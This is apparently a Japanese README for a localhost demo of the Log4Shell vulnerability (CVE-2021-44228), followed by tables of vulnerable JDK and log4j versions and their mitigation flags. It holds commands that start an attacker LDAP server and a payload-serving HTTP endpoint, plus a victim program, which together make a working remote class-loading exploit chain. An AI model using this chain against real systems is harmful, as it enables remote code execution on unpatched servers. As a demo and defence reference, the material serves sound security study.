CVE-2021-44228 の簡単なデモです。
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URL:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| バージョン | ステータス |
|---|---|
Oracle JDK 8u5 | 脆弱性あり |
OpenJDK 8u312 | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
IBM OpenJDK 8u312-b07 (OpenJ9) | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
OpenJDK 11.0.7+10 | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
OpenJDK 11.0.13+8 | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
OpenJDK 16+36 | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
OpenJDK 17+35 | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
OpenJDK 17.0.1+12 | 脆弱性なし(-Dcom.sun.jndi.ldap.object.trustURLCodebase=true の場合を除く) |
脆弱性がない場合、javax.naming.Context.lookup() から javax.naming.Reference のインスタンスが返されます。
リモートのコードベースからのクラス読み込みに対して脆弱でない場合でも、他の Java の逆シリアル化の脆弱性がまだ存在する可能性があります!
| バージョン | ステータス |
|---|---|
2.9.1 | 脆弱性あり |
2.10.0 | 脆弱性あり(-Dlog4j2.formatMsgNoLookups=true または環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS=true の場合を除く) |
2.14.1 | 脆弱性あり(-Dlog4j2.formatMsgNoLookups=true または環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS=true の場合を除く) |
2.15.0 | 脆弱性なし |
脆弱性がない場合、${jndi:ldap:...} は解決されません。